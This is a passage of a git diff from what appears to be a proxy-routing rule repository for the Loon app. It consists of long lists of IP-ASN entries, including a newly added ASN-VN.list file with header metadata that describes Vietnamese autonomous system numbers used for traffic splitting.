+IP-ASN, 54183 +IP-ASN, 54180 +IP-ASN, 54181 +IP-ASN, 54187 +IP-ASN, 54185 +IP-ASN, 42198 +IP-ASN, 207722 +IP-ASN, 54179 +IP-ASN, 54177 +IP-ASN, 54178 +IP-ASN, 19747 +IP-ASN, 19748 +IP-ASN, 19749 +IP-ASN, 32719 +IP-ASN, 32713 +IP-ASN, 32715 +IP-ASN, 19754 +IP-ASN, 19755 +IP-ASN, 32711 +IP-ASN, 19750 +IP-ASN, 19751 +IP-ASN, 19753 +IP-ASN, 19738 +IP-ASN, 19739 +IP-ASN, 32707 +IP-ASN, 32709 +IP-ASN, 32703 +IP-ASN, 19743 +IP-ASN, 19744 +IP-ASN, 32701 +IP-ASN, 19745 +IP-ASN, 19746 +IP-ASN, 19740 +IP-ASN, 19725 +IP-ASN, 19726 +IP-ASN, 19728 +IP-ASN, 19732 +IP-ASN, 19733 +IP-ASN, 19734 +IP-ASN, 19730 +IP-ASN, 19718 +IP-ASN, 19716 +IP-ASN, 19717 +IP-ASN, 19721 +IP-ASN, 19722 +IP-ASN, 19724 +IP-ASN, 19720 +IP-ASN, 19707 +IP-ASN, 19708 +IP-ASN, 19709 +IP-ASN, 19704 +IP-ASN, 19706 +IP-ASN, 19710 +IP-ASN, 3064 +IP-ASN, 19712 +IP-ASN, 398 +IP-ASN, 19713 +IP-ASN, 399 +IP-ASN, 3066 +IP-ASN, 4390 +IP-ASN, 3060 +IP-ASN, 3061 +IP-ASN, 4393 +IP-ASN, 136915 +IP-ASN, 19701 +IP-ASN, 3073 +IP-ASN, 206368 +IP-ASN, 3081 +IP-ASN, 4358 +IP-ASN, 360 +IP-ASN, 30140 +IP-ASN, 364 +IP-ASN, 361 +IP-ASN, 4356 +IP-ASN, 362 +IP-ASN, 30139 +IP-ASN, 17174 +IP-ASN, 17172 +IP-ASN, 32798 +IP-ASN, 356 +IP-ASN, 17178 +IP-ASN, 30136 +IP-ASN, 357 +IP-ASN, 32797 +IP-ASN, 17177 +IP-ASN, 32799 +IP-ASN, 30138 +IP-ASN, 355 +IP-ASN, 5683 +IP-ASN, 30132 +IP-ASN, 358 +IP-ASN, 30133 +IP-ASN, 32795 +IP-ASN, 359 +IP-ASN, 32790 +IP-ASN, 32792 +IP-ASN, 5697 +IP-ASN, 4366 +IP-ASN, 352 +IP-ASN, 5696 +IP-ASN, 353 +IP-ASN, 350 +IP-ASN, 4367 +IP-ASN, 351 +IP-ASN, 17160 +IP-ASN, 18494 +IP-ASN, 18495 +IP-ASN, 17164 +IP-ASN, 30128 +IP-ASN, 17163 +IP-ASN, 18490 +IP-ASN, 17162 +IP-ASN, 17161 +IP-ASN, 18491 +IP-ASN, 32787 +IP-ASN, 5693 +IP-ASN, 345 +IP-ASN, 17168 +IP-ASN, 32786 +IP-ASN, 17167 +IP-ASN, 346 +IP-ASN, 4364 +IP-ASN, 17166 +IP-ASN, 343 +IP-ASN, 344 +IP-ASN, 32788 +IP-ASN, 30120 +IP-ASN, 349 +IP-ASN, 30121 +IP-ASN, 32782 +IP-ASN, 5691 +IP-ASN, 347 +IP-ASN, 30122 +IP-ASN, 348 +IP-ASN, 32784 +IP-ASN, 32780 +IP-ASN, 18481 +IP-ASN, 18482 +IP-ASN, 18484 +IP-ASN, 30117 +IP-ASN, 17153 +IP-ASN, 17152 +IP-ASN, 32779 +IP-ASN, 30118 +IP-ASN, 17151 +IP-ASN, 30119 +IP-ASN, 18480 +IP-ASN, 17150 +IP-ASN, 30113 +IP-ASN, 18489 +IP-ASN, 17157 +IP-ASN, 4373 +IP-ASN, 32776 +IP-ASN, 32775 +IP-ASN, 30114 +IP-ASN, 3043 +IP-ASN, 30115 +IP-ASN, 32778 +IP-ASN, 17155 +IP-ASN, 4374 +IP-ASN, 30116 +IP-ASN, 377 +IP-ASN, 32777 +IP-ASN, 18485 +IP-ASN, 32772 +IP-ASN, 30110 +IP-ASN, 32771 +IP-ASN, 18486 +IP-ASN, 30111 +IP-ASN, 32774 +IP-ASN, 17158 +IP-ASN, 18488 +IP-ASN, 370 +IP-ASN, 371 +IP-ASN, 372 +IP-ASN, 18470 +IP-ASN, 18473 +IP-ASN, 17142 +IP-ASN, 32768 +IP-ASN, 30107 +IP-ASN, 17140 +IP-ASN, 30108 +IP-ASN, 30109 +IP-ASN, 367 +IP-ASN, 18478 +IP-ASN, 17146 +IP-ASN, 32765 +IP-ASN, 30102 +IP-ASN, 30103 +IP-ASN, 17145 +IP-ASN, 368 +IP-ASN, 32764 +IP-ASN, 32767 +IP-ASN, 30104 +IP-ASN, 17144 +IP-ASN, 365 +IP-ASN, 4385 +IP-ASN, 17143 +IP-ASN, 32766 +IP-ASN, 366 +IP-ASN, 18474 +IP-ASN, 32761 +IP-ASN, 32760 +IP-ASN, 30100 +IP-ASN, 369 +IP-ASN, 32763 +IP-ASN, 18476 +IP-ASN, 30101 +IP-ASN, 6979 +IP-ASN, 4314 +IP-ASN, 6976 +IP-ASN, 6977 +IP-ASN, 5647 +IP-ASN, 17129 +IP-ASN, 5642 +IP-ASN, 4310 +IP-ASN, 320 +IP-ASN, 6973 +IP-ASN, 4319 +IP-ASN, 4318 +IP-ASN, 197867 +IP-ASN, 18460 +IP-ASN, 18461 +IP-ASN, 319 +IP-ASN, 19793 +IP-ASN, 18462 +IP-ASN, 17131 +IP-ASN, 32758 +IP-ASN, 17130 +IP-ASN, 32757 +IP-ASN, 18467 +IP-ASN, 32754 +IP-ASN, 17135 +IP-ASN, 19799 +IP-ASN, 18469 +IP-ASN, 17133 +IP-ASN, 32755 +IP-ASN, 17139 +IP-ASN, 32750 +IP-ASN, 19794 +IP-ASN, 18463 +IP-ASN, 316 +IP-ASN, 18464 +IP-ASN, 317 +IP-ASN, 17138 +IP-ASN, 19796 +IP-ASN, 18465 +IP-ASN, 32752 +IP-ASN, 17137 +IP-ASN, 32751 +IP-ASN, 6989 +IP-ASN, 5656 +IP-ASN, 17119 +IP-ASN, 5653 +IP-ASN, 6983 +IP-ASN, 5655 +IP-ASN, 4324 +IP-ASN, 6984 +IP-ASN, 4323 +IP-ASN, 19780 +IP-ASN, 18450 +IP-ASN, 19781 +IP-ASN, 307 +IP-ASN, 19782 +IP-ASN, 32746 +IP-ASN, 32749 +IP-ASN, 32748 +IP-ASN, 19787 +IP-ASN, 6981 +IP-ASN, 18456 +IP-ASN, 17124 +IP-ASN, 302 +IP-ASN, 17123 +IP-ASN, 18458 +IP-ASN, 17122 +IP-ASN, 5650 +IP-ASN, 32744 +IP-ASN, 18459 +IP-ASN, 300 +IP-ASN, 19783 +IP-ASN, 18452 +IP-ASN, 306 +IP-ASN, 19784 +IP-ASN, 18453 +IP-ASN, 17127 +IP-ASN, 18454 +IP-ASN, 17125 +IP-ASN, 32740 +IP-ASN, 19786 +IP-ASN, 17109 +IP-ASN, 6998 +IP-ASN, 5669 +IP-ASN, 6999 +IP-ASN, 17107 +IP-ASN, 18438 +IP-ASN, 341 +IP-ASN, 19769 +IP-ASN, 18439 +IP-ASN, 5663 +IP-ASN, 342 +IP-ASN, 6994 +IP-ASN, 5666 +IP-ASN, 6995 +IP-ASN, 340 +IP-ASN, 32739 +IP-ASN, 19770 +IP-ASN, 19771 +IP-ASN, 18440 +IP-ASN, 32736 +IP-ASN, 32732 +IP-ASN, 18445 +IP-ASN, 17113 +IP-ASN, 334 +IP-ASN, 335 +IP-ASN, 5662 +IP-ASN, 18447 +IP-ASN, 5661 +IP-ASN, 18448 +IP-ASN, 32733 +IP-ASN, 17117 +IP-ASN, 338 +IP-ASN, 19773 +IP-ASN, 17116 +IP-ASN, 339 +IP-ASN, 18443 +IP-ASN, 336 +IP-ASN, 32730 +IP-ASN, 19774 +IP-ASN, 337 +IP-ASN, 19775 +IP-ASN, 18444 +IP-ASN, 19758 +IP-ASN, 331 +IP-ASN, 32728 +IP-ASN, 329 +IP-ASN, 19760 +IP-ASN, 32727 +IP-ASN, 32726 +IP-ASN, 18434 +IP-ASN, 32721 +IP-ASN, 5671 +IP-ASN, 323 +IP-ASN, 19765 +IP-ASN, 5670 +IP-ASN, 32720 +IP-ASN, 18435 +IP-ASN, 17101 +IP-ASN, 324 +IP-ASN, 19766 +IP-ASN, 32723 +IP-ASN, 321 +IP-ASN, 18436 +IP-ASN, 19768 +IP-ASN, 5672 +IP-ASN, 322 +IP-ASN, 18437 +IP-ASN, 327 +IP-ASN, 19761 +IP-ASN, 17105 +IP-ASN, 19762 +IP-ASN, 328 +IP-ASN, 325 +IP-ASN, 18433 +IP-ASN, 17103 +IP-ASN, 326 +IP-ASN, 54072 +IP-ASN, 4514 +IP-ASN, 54076 +IP-ASN, 4511 +IP-ASN, 5842 +IP-ASN, 54075 +IP-ASN, 400417 +IP-ASN, 518 +IP-ASN, 400419 +IP-ASN, 510 +IP-ASN, 54069 +IP-ASN, 511 +IP-ASN, 54067 +IP-ASN, 400411 +IP-ASN, 54068 +IP-ASN, 30098 +IP-ASN, 514 +IP-ASN, 400414 +IP-ASN, 400416 +IP-ASN, 30094 +IP-ASN, 54084 +IP-ASN, 54082 +IP-ASN, 30097 +IP-ASN, 54087 +IP-ASN, 30091 +IP-ASN, 54086 +IP-ASN, 5852 +IP-ASN, 400429 +IP-ASN, 208913 +IP-ASN, 400420 +IP-ASN, 400421 +IP-ASN, 500 +IP-ASN, 54079 +IP-ASN, 400423 +IP-ASN, 400424 +IP-ASN, 30087 +IP-ASN, 400425 +IP-ASN, 30089 +IP-ASN, 400427 +IP-ASN, 30083 +IP-ASN, 54095 +IP-ASN, 30084 +IP-ASN, 54092 +IP-ASN, 54093 +IP-ASN, 54098 +IP-ASN, 4531 +IP-ASN, 54099 +IP-ASN, 30080 +IP-ASN, 30081 +IP-ASN, 54096 +IP-ASN, 30082 +IP-ASN, 54097 +IP-ASN, 4539 +IP-ASN, 54091 +IP-ASN, 54089 +IP-ASN, 5860 +IP-ASN, 30076 +IP-ASN, 4546 +IP-ASN, 30072 +IP-ASN, 30074 +IP-ASN, 30075 +IP-ASN, 4544 +IP-ASN, 30070 +IP-ASN, 30071 +IP-ASN, 4543 +IP-ASN, 4549 +IP-ASN, 400406 +IP-ASN, 400407 +IP-ASN, 400409 +IP-ASN, 400402 +IP-ASN, 30065 +IP-ASN, 30066 +IP-ASN, 400403 +IP-ASN, 400404 +IP-ASN, 30067 +IP-ASN, 400405 +IP-ASN, 30061 +IP-ASN, 30063 +IP-ASN, 400451 +IP-ASN, 30060 +IP-ASN, 17090 +IP-ASN, 17094 +IP-ASN, 17093 +IP-ASN, 17092 +IP-ASN, 17091 +IP-ASN, 17098 +IP-ASN, 17096 +IP-ASN, 17095 +IP-ASN, 30058 +IP-ASN, 400453 +IP-ASN, 400454 +IP-ASN, 30059 +IP-ASN, 400455 +IP-ASN, 400456 +IP-ASN, 17099 +IP-ASN, 400457 +IP-ASN, 30054 +IP-ASN, 400458 +IP-ASN, 30056 +IP-ASN, 30050 +IP-ASN, 30051 +IP-ASN, 30053 +IP-ASN, 400461 +IP-ASN, 400463 +IP-ASN, 17082 +IP-ASN, 17085 +IP-ASN, 400466 +IP-ASN, 30049 +IP-ASN, 17089 +IP-ASN, 17088 +IP-ASN, 400467 +IP-ASN, 30043 +IP-ASN, 400469 +IP-ASN, 30046 +IP-ASN, 30040 +IP-ASN, 30041 +IP-ASN, 400430 +IP-ASN, 400439 +IP-ASN, 17071 +IP-ASN, 17076 +IP-ASN, 17073 +IP-ASN, 30036 +IP-ASN, 400431 +IP-ASN, 32699 +IP-ASN, 30037 +IP-ASN, 30038 +IP-ASN, 17078 +IP-ASN, 17077 +IP-ASN, 30039 +IP-ASN, 30032 +IP-ASN, 400435 +IP-ASN, 32695 +IP-ASN, 30033 +IP-ASN, 400436 +IP-ASN, 32694 +IP-ASN, 30034 +IP-ASN, 32696 +IP-ASN, 30035 +IP-ASN, 32691 +IP-ASN, 4503 +IP-ASN, 30031 +IP-ASN, 32692 +IP-ASN, 400440 +IP-ASN, 5831 +IP-ASN, 400441 +IP-ASN, 4505 +IP-ASN, 5839 +IP-ASN, 17060 +IP-ASN, 30029 +IP-ASN, 17064 +IP-ASN, 17062 +IP-ASN, 32688 +IP-ASN, 17068 +IP-ASN, 32687 +IP-ASN, 30027 +IP-ASN, 400444 +IP-ASN, 400445 +IP-ASN, 32689 +IP-ASN, 30021 +IP-ASN, 400446 +IP-ASN, 32684 +IP-ASN, 400447 +IP-ASN, 32683 +IP-ASN, 400448 +IP-ASN, 32686 +IP-ASN, 32685 +IP-ASN, 400490 +IP-ASN, 400492 +IP-ASN, 400493 +IP-ASN, 400494 +IP-ASN, 400495 +IP-ASN, 400496 +IP-ASN, 57976 +IP-ASN, 400497 +IP-ASN, 400498 +IP-ASN, 57974 +IP-ASN, 206331 +IP-ASN, 400470 +IP-ASN, 400471 +IP-ASN, 400472 +IP-ASN, 400473 +IP-ASN, 400474 +IP-ASN, 400475 +IP-ASN, 54003 +IP-ASN, 54004 +IP-ASN, 400477 +IP-ASN, 400478 +IP-ASN, 400479 +IP-ASN, 54007 +IP-ASN, 54005 +IP-ASN, 54006 +IP-ASN, 400480 +IP-ASN, 54021 +IP-ASN, 54022 +IP-ASN, 400483 +IP-ASN, 42037 +IP-ASN, 207649 +IP-ASN, 54015 +IP-ASN, 400488 +IP-ASN, 54013 +IP-ASN, 400489 +IP-ASN, 54018 +IP-ASN, 54019 +IP-ASN, 54016 +IP-ASN, 54017 +IP-ASN, 54032 +IP-ASN, 54030 +IP-ASN, 54025 +IP-ASN, 54023 +IP-ASN, 54024 +IP-ASN, 54027 +IP-ASN, 54040 +IP-ASN, 135424 +IP-ASN, 54043 +IP-ASN, 208956 +IP-ASN, 54036 +IP-ASN, 54037 +IP-ASN, 54035 +IP-ASN, 54038 +IP-ASN, 54039 +IP-ASN, 54050 +IP-ASN, 54054 +IP-ASN, 54055 +IP-ASN, 54053 +IP-ASN, 207618 +IP-ASN, 54047 +IP-ASN, 54048 +IP-ASN, 54045 +IP-ASN, 54061 +IP-ASN, 54062 +IP-ASN, 54060 +IP-ASN, 54066 +IP-ASN, 54063 +IP-ASN, 207600 +IP-ASN, 54058 +IP-ASN, 54059 +IP-ASN, 54056 +IP-ASN, 54057 +IP-ASN, 21947 +IP-ASN, 21946 +IP-ASN, 19627 +IP-ASN, 21945 +IP-ASN, 19628 +IP-ASN, 45915 +IP-ASN, 19629 +IP-ASN, 21943 +IP-ASN, 21942 +IP-ASN, 21941 +IP-ASN, 19635 +IP-ASN, 19636 +IP-ASN, 19630 +IP-ASN, 19631 +IP-ASN, 21938 +IP-ASN, 21937 +IP-ASN, 19615 +IP-ASN, 19616 +IP-ASN, 21935 +IP-ASN, 19617 +IP-ASN, 21934 +IP-ASN, 21933 +IP-ASN, 21932 +IP-ASN, 21931 +IP-ASN, 21930 +IP-ASN, 19622 +IP-ASN, 19623 +IP-ASN, 19624 +IP-ASN, 19625 +IP-ASN, 1 +IP-ASN, 19621 +IP-ASN, 2 +IP-ASN, 21928 +IP-ASN, 3 +IP-ASN, 19609 +IP-ASN, 4 +IP-ASN, 5 +IP-ASN, 6 +IP-ASN, 19604 +IP-ASN, 19605 +IP-ASN, 21924 +IP-ASN, 8 +IP-ASN, 19606 +IP-ASN, 21923 +IP-ASN, 9 +IP-ASN, 21922 +IP-ASN, 21921 +IP-ASN, 206286 +IP-ASN, 21918 +IP-ASN, 21915 +IP-ASN, 21914 +IP-ASN, 21913 +IP-ASN, 21912 +IP-ASN, 206273 +IP-ASN, 206278 +IP-ASN, 57926 +IP-ASN, 19600 +IP-ASN, 19601 +IP-ASN, 19602 +IP-ASN, 21907 +IP-ASN, 21906 +IP-ASN, 21904 +IP-ASN, 21903 +IP-ASN, 21902 +IP-ASN, 21900 +IP-ASN, 57934 +IP-ASN, 21908 +IP-ASN, 43308 +IP-ASN, 56640 +IP-ASN, 207563 +IP-ASN, 44658 +IP-ASN, 32680 +IP-ASN, 32681 +IP-ASN, 30020 +IP-ASN, 3145 +IP-ASN, 3147 +IP-ASN, 17054 +IP-ASN, 30018 +IP-ASN, 17053 +IP-ASN, 30019 +IP-ASN, 17052 +IP-ASN, 17051 +IP-ASN, 30014 +IP-ASN, 3140 +IP-ASN, 17058 +IP-ASN, 4474 +IP-ASN, 30016 +IP-ASN, 17056 +IP-ASN, 4473 +IP-ASN, 17055 +IP-ASN, 32673 +IP-ASN, 32672 +IP-ASN, 30012 +IP-ASN, 32674 +IP-ASN, 30013 +IP-ASN, 17059 +IP-ASN, 32671 +IP-ASN, 17043 +IP-ASN, 30008 +IP-ASN, 32669 +IP-ASN, 30009 +IP-ASN, 17040 +IP-ASN, 32666 +IP-ASN, 32665 +IP-ASN, 30004 +IP-ASN, 3152 +IP-ASN, 17046 +IP-ASN, 17045 +IP-ASN, 17044 +IP-ASN, 32667 +IP-ASN, 30006 +IP-ASN, 32662 +IP-ASN, 32661 +IP-ASN, 30000 +IP-ASN, 17049 +IP-ASN, 30001 +IP-ASN, 468 +IP-ASN, 17048 +IP-ASN, 32663 +IP-ASN, 4497 +IP-ASN, 19691 +IP-ASN, 19692 +IP-ASN, 19693 +IP-ASN, 19694 +IP-ASN, 17032 +IP-ASN, 17031 +IP-ASN, 17030 +IP-ASN, 19690 +IP-ASN, 32655 +IP-ASN, 17035 +IP-ASN, 32654 +IP-ASN, 32657 +IP-ASN, 17033 +IP-ASN, 32651 +IP-ASN, 32650 +IP-ASN, 17038 +IP-ASN, 19697 +IP-ASN, 17037 +IP-ASN, 21998 +IP-ASN, 21997 +IP-ASN, 21996 +IP-ASN, 21993 +IP-ASN, 21991 +IP-ASN, 19681 +IP-ASN, 19682 +IP-ASN, 19683 +IP-ASN, 32648 +IP-ASN, 32647 +IP-ASN, 32649 +IP-ASN, 17025 +IP-ASN, 19689 +IP-ASN, 32643 +IP-ASN, 17024 +IP-ASN, 32646 +IP-ASN, 32645 +IP-ASN, 19684 +IP-ASN, 17029 +IP-ASN, 19685 +IP-ASN, 32642 +IP-ASN, 19687 +IP-ASN, 17026 +IP-ASN, 5767 +IP-ASN, 4436 +IP-ASN, 5766 +IP-ASN, 17009 +IP-ASN, 17008 +IP-ASN, 441 +IP-ASN, 21989 +IP-ASN, 21987 +IP-ASN, 21986 +IP-ASN, 21985 +IP-ASN, 21984 +IP-ASN, 21982 +IP-ASN, 21981 +IP-ASN, 19670 +IP-ASN, 17010 +IP-ASN, 32639 +IP-ASN, 17014 +IP-ASN, 19677 +IP-ASN, 19679 +IP-ASN, 17012 +IP-ASN, 32635 +IP-ASN, 5761 +IP-ASN, 5760 +IP-ASN, 32634 +IP-ASN, 17011 +IP-ASN, 17018 +IP-ASN, 17017 +IP-ASN, 19674 +IP-ASN, 17016 +IP-ASN, 17015 +IP-ASN, 32630 +IP-ASN, 5778 +IP-ASN, 4446 +IP-ASN, 5777 +IP-ASN, 5779 +IP-ASN, 5774 +IP-ASN, 19659 +IP-ASN, 3112 +IP-ASN, 21979 +IP-ASN, 5773 +IP-ASN, 4445 +IP-ASN, 21978 +IP-ASN, 21976 +IP-ASN, 21975 +IP-ASN, 21974 +IP-ASN, 21973 +IP-ASN, 21970 +IP-ASN, 32629 +IP-ASN, 19661 +IP-ASN, 32626 +IP-ASN, 32625 +IP-ASN, 32627 +IP-ASN, 17003 +IP-ASN, 32622 +IP-ASN, 32621 +IP-ASN, 17002 +IP-ASN, 32624 +IP-ASN, 19668 +IP-ASN, 19663 +IP-ASN, 427 +IP-ASN, 17005 +IP-ASN, 17004 +IP-ASN, 3128 +IP-ASN, 4459 +IP-ASN, 19648 +IP-ASN, 4454 +IP-ASN, 21969 +IP-ASN, 21968 +IP-ASN, 5787 +IP-ASN, 461 +IP-ASN, 21966 +IP-ASN, 21965 +IP-ASN, 21964 +IP-ASN, 21963 +IP-ASN, 21961 +IP-ASN, 21960 +IP-ASN, 32619 +IP-ASN, 19650 +IP-ASN, 32614 +IP-ASN, 32617 +IP-ASN, 197767 +IP-ASN, 32611 +IP-ASN, 19655 +IP-ASN, 32610 +IP-ASN, 19656 +IP-ASN, 5783 +IP-ASN, 4452 +IP-ASN, 32612 +IP-ASN, 19658 +IP-ASN, 4451 +IP-ASN, 19652 +IP-ASN, 19653 +IP-ASN, 4468 +IP-ASN, 21959 +IP-ASN, 19637 +IP-ASN, 452 +IP-ASN, 21957 +IP-ASN, 21956 +IP-ASN, 3136 +IP-ASN, 21955 +IP-ASN, 4466 +IP-ASN, 21954 +IP-ASN, 21953 +IP-ASN, 21952 +IP-ASN, 21951 +IP-ASN, 21950 +IP-ASN, 32607 +IP-ASN, 32604 +IP-ASN, 32603 +IP-ASN, 32606 +IP-ASN, 32605 +IP-ASN, 32602 +IP-ASN, 3131 +IP-ASN, 19647 +IP-ASN, 32601 +IP-ASN, 19640 +IP-ASN, 5790 +IP-ASN, 19642 +IP-ASN, 19643 diff --git a/Loon/rule/ASN/ASN-VN.list b/Loon/rule/ASN/ASN-VN.list new file mode 100644 index 00000000..b67205e5 --- /dev/null +++ b/Loon/rule/ASN/ASN-VN.list @@ -0,0 +1,498 @@ +#!name=奶思🍒ASN.VN +#!desc=越南地区的ASN,大约488条,选择你需要分流到的策略组 +#!author=奶思 +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/author/NaiSi_01.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/ASN/ASN-VN.list +#!tg-group=https://t.me/lanjieguanggao +#!date=2024-06-02 15:15:00 +############################################# + +IP-ASN, 140806 +IP-ASN, 140803 +IP-ASN, 140804 +IP-ASN, 140809 +IP-ASN, 140807 +IP-ASN, 150850 +IP-ASN, 150854 +IP-ASN, 150855 +IP-ASN, 150856 +IP-ASN, 150846 +IP-ASN, 150847 +IP-ASN, 150727 +IP-ASN, 140813 +IP-ASN, 140810 +IP-ASN, 140811 +IP-ASN, 56141 +IP-ASN, 56144 +IP-ASN, 56142 +IP-ASN, 150842 +IP-ASN, 151931 +IP-ASN, 151933 +IP-ASN, 150835 +IP-ASN, 150836 +IP-ASN, 150837 +IP-ASN, 150838 +IP-ASN, 140801 +IP-ASN, 216414 +IP-ASN, 56150 +IP-ASN, 38726 +IP-ASN, 56156 +IP-ASN, 213370 +IP-ASN, 56155 +IP-ASN, 38727 +IP-ASN, 56153 +IP-ASN, 150830 +IP-ASN, 151921 +IP-ASN, 151923 +IP-ASN, 150834 +IP-ASN, 150824 +IP-ASN, 151913 +IP-ASN, 150825 +IP-ASN, 151918 +IP-ASN, 150828 +IP-ASN, 151917 +IP-ASN, 56149 +IP-ASN, 56148 +IP-ASN, 56147 +IP-ASN, 56146 +IP-ASN, 38730 +IP-ASN, 38731 +IP-ASN, 38732 +IP-ASN, 38733 +IP-ASN, 38734 +IP-ASN, 38735 +IP-ASN, 38736 +IP-ASN, 38737 +IP-ASN, 38738 +IP-ASN, 38739 +IP-ASN, 23899 +IP-ASN, 150820 +IP-ASN, 150821 +IP-ASN, 151911 +IP-ASN, 150823 +IP-ASN, 151903 +IP-ASN, 150813 +IP-ASN, 151902 +IP-ASN, 150819 +IP-ASN, 56159 +IP-ASN, 56158 +IP-ASN, 150890 +IP-ASN, 150892 +IP-ASN, 150894 +IP-ASN, 150895 +IP-ASN, 151863 +IP-ASN, 150896 +IP-ASN, 151866 +IP-ASN, 150897 +IP-ASN, 151865 +IP-ASN, 151868 +IP-ASN, 151867 +IP-ASN, 151858 +IP-ASN, 150880 +IP-ASN, 150881 +IP-ASN, 150882 +IP-ASN, 23999 +IP-ASN, 151853 +IP-ASN, 150884 +IP-ASN, 151852 +IP-ASN, 151855 +IP-ASN, 150887 +IP-ASN, 150888 +IP-ASN, 151857 +IP-ASN, 140827 +IP-ASN, 140825 +IP-ASN, 140826 +IP-ASN, 140829 +IP-ASN, 150870 +IP-ASN, 150872 +IP-ASN, 150873 +IP-ASN, 150875 +IP-ASN, 150869 +IP-ASN, 200250 +IP-ASN, 140830 +IP-ASN, 140831 +IP-ASN, 140834 +IP-ASN, 140832 +IP-ASN, 140833 +IP-ASN, 140817 +IP-ASN, 140814 +IP-ASN, 140815 +IP-ASN, 140818 +IP-ASN, 140819 +IP-ASN, 150860 +IP-ASN, 150861 +IP-ASN, 150862 +IP-ASN, 150864 +IP-ASN, 150866 +IP-ASN, 150867 +IP-ASN, 150857 +IP-ASN, 140823 +IP-ASN, 140824 +IP-ASN, 140822 +IP-ASN, 131375 +IP-ASN, 131376 +IP-ASN, 135973 +IP-ASN, 135974 +IP-ASN, 131378 +IP-ASN, 55320 +IP-ASN, 135971 +IP-ASN, 131371 +IP-ASN, 135972 +IP-ASN, 131372 +IP-ASN, 131130 +IP-ASN, 131373 +IP-ASN, 131131 +IP-ASN, 131374 +IP-ASN, 131379 +IP-ASN, 135977 +IP-ASN, 135978 +IP-ASN, 55319 +IP-ASN, 55318 +IP-ASN, 55313 +IP-ASN, 55312 +IP-ASN, 55311 +IP-ASN, 55310 +IP-ASN, 55317 +IP-ASN, 55316 +IP-ASN, 55315 +IP-ASN, 131386 +IP-ASN, 135986 +IP-ASN, 131387 +IP-ASN, 135987 +IP-ASN, 131388 +IP-ASN, 131389 +IP-ASN, 135985 +IP-ASN, 135982 +IP-ASN, 131382 +IP-ASN, 131383 +IP-ASN, 135983 +IP-ASN, 135980 +IP-ASN, 135981 +IP-ASN, 131385 +IP-ASN, 135988 +IP-ASN, 135989 +IP-ASN, 55324 +IP-ASN, 55323 +IP-ASN, 131380 +IP-ASN, 55322 +IP-ASN, 131381 +IP-ASN, 131353 +IP-ASN, 135953 +IP-ASN, 131354 +IP-ASN, 135951 +IP-ASN, 135952 +IP-ASN, 131350 +IP-ASN, 131351 +IP-ASN, 131352 +IP-ASN, 45899 +IP-ASN, 135959 +IP-ASN, 45538 +IP-ASN, 45894 +IP-ASN, 135957 +IP-ASN, 131357 +IP-ASN, 135958 +IP-ASN, 131358 +IP-ASN, 45896 +IP-ASN, 135955 +IP-ASN, 135956 +IP-ASN, 45541 +IP-ASN, 135964 +IP-ASN, 131364 +IP-ASN, 131122 +IP-ASN, 131365 +IP-ASN, 131123 +IP-ASN, 135962 +IP-ASN, 131124 +IP-ASN, 131366 +IP-ASN, 135963 +IP-ASN, 131367 +IP-ASN, 131125 +IP-ASN, 131360 +IP-ASN, 135961 +IP-ASN, 131362 +IP-ASN, 131363 +IP-ASN, 45546 +IP-ASN, 45548 +IP-ASN, 131126 +IP-ASN, 45542 +IP-ASN, 131368 +IP-ASN, 45543 +IP-ASN, 131127 +IP-ASN, 135969 +IP-ASN, 131369 +IP-ASN, 45544 +IP-ASN, 131128 +IP-ASN, 135967 +IP-ASN, 131129 +IP-ASN, 45551 +IP-ASN, 45552 +IP-ASN, 206439 +IP-ASN, 45557 +IP-ASN, 45553 +IP-ASN, 45554 +IP-ASN, 151901 +IP-ASN, 45556 +IP-ASN, 150912 +IP-ASN, 135997 +IP-ASN, 131397 +IP-ASN, 131398 +IP-ASN, 135998 +IP-ASN, 135993 +IP-ASN, 135994 +IP-ASN, 135991 +IP-ASN, 131396 +IP-ASN, 132369 +IP-ASN, 150911 +IP-ASN, 150901 +IP-ASN, 150904 +IP-ASN, 150905 +IP-ASN, 150909 +IP-ASN, 135990 +IP-ASN, 131390 +IP-ASN, 131391 +IP-ASN, 131392 +IP-ASN, 150900 +IP-ASN, 131410 +IP-ASN, 131411 +IP-ASN, 149068 +IP-ASN, 149069 +IP-ASN, 131417 +IP-ASN, 131418 +IP-ASN, 131419 +IP-ASN, 131412 +IP-ASN, 131413 +IP-ASN, 149065 +IP-ASN, 131414 +IP-ASN, 149062 +IP-ASN, 131415 +IP-ASN, 149063 +IP-ASN, 131409 +IP-ASN, 131421 +IP-ASN, 131422 +IP-ASN, 135906 +IP-ASN, 131427 +IP-ASN, 131428 +IP-ASN, 131429 +IP-ASN, 135904 +IP-ASN, 135905 +IP-ASN, 131423 +IP-ASN, 135902 +IP-ASN, 135900 +IP-ASN, 131425 +IP-ASN, 135901 +IP-ASN, 131426 +IP-ASN, 149160 +IP-ASN, 24085 +IP-ASN, 24086 +IP-ASN, 24088 +IP-ASN, 24089 +IP-ASN, 149161 +IP-ASN, 18403 +IP-ASN, 131405 +IP-ASN, 149156 +IP-ASN, 149157 +IP-ASN, 131406 +IP-ASN, 149154 +IP-ASN, 131407 +IP-ASN, 131408 +IP-ASN, 131401 +IP-ASN, 131402 +IP-ASN, 131403 +IP-ASN, 149150 +IP-ASN, 149151 +IP-ASN, 131404 +IP-ASN, 149159 +IP-ASN, 135932 +IP-ASN, 135939 +IP-ASN, 135938 +IP-ASN, 24066 +IP-ASN, 135935 +IP-ASN, 135936 +IP-ASN, 135933 +IP-ASN, 135934 +IP-ASN, 135942 +IP-ASN, 131342 +IP-ASN, 131343 +IP-ASN, 135943 +IP-ASN, 149094 +IP-ASN, 131344 +IP-ASN, 131345 +IP-ASN, 24173 +IP-ASN, 24174 +IP-ASN, 149099 +IP-ASN, 135948 +IP-ASN, 24175 +IP-ASN, 135949 +IP-ASN, 24176 +IP-ASN, 135946 +IP-ASN, 131347 +IP-ASN, 149098 +IP-ASN, 135947 +IP-ASN, 135944 +IP-ASN, 131348 +IP-ASN, 149096 +IP-ASN, 135945 +IP-ASN, 131349 +IP-ASN, 7552 +IP-ASN, 131430 +IP-ASN, 149082 +IP-ASN, 135910 +IP-ASN, 149080 +IP-ASN, 131438 +IP-ASN, 135917 +IP-ASN, 131439 +IP-ASN, 135918 +IP-ASN, 135915 +IP-ASN, 149089 +IP-ASN, 135916 +IP-ASN, 135913 +IP-ASN, 131434 +IP-ASN, 131435 +IP-ASN, 131436 +IP-ASN, 135911 +IP-ASN, 135912 +IP-ASN, 149085 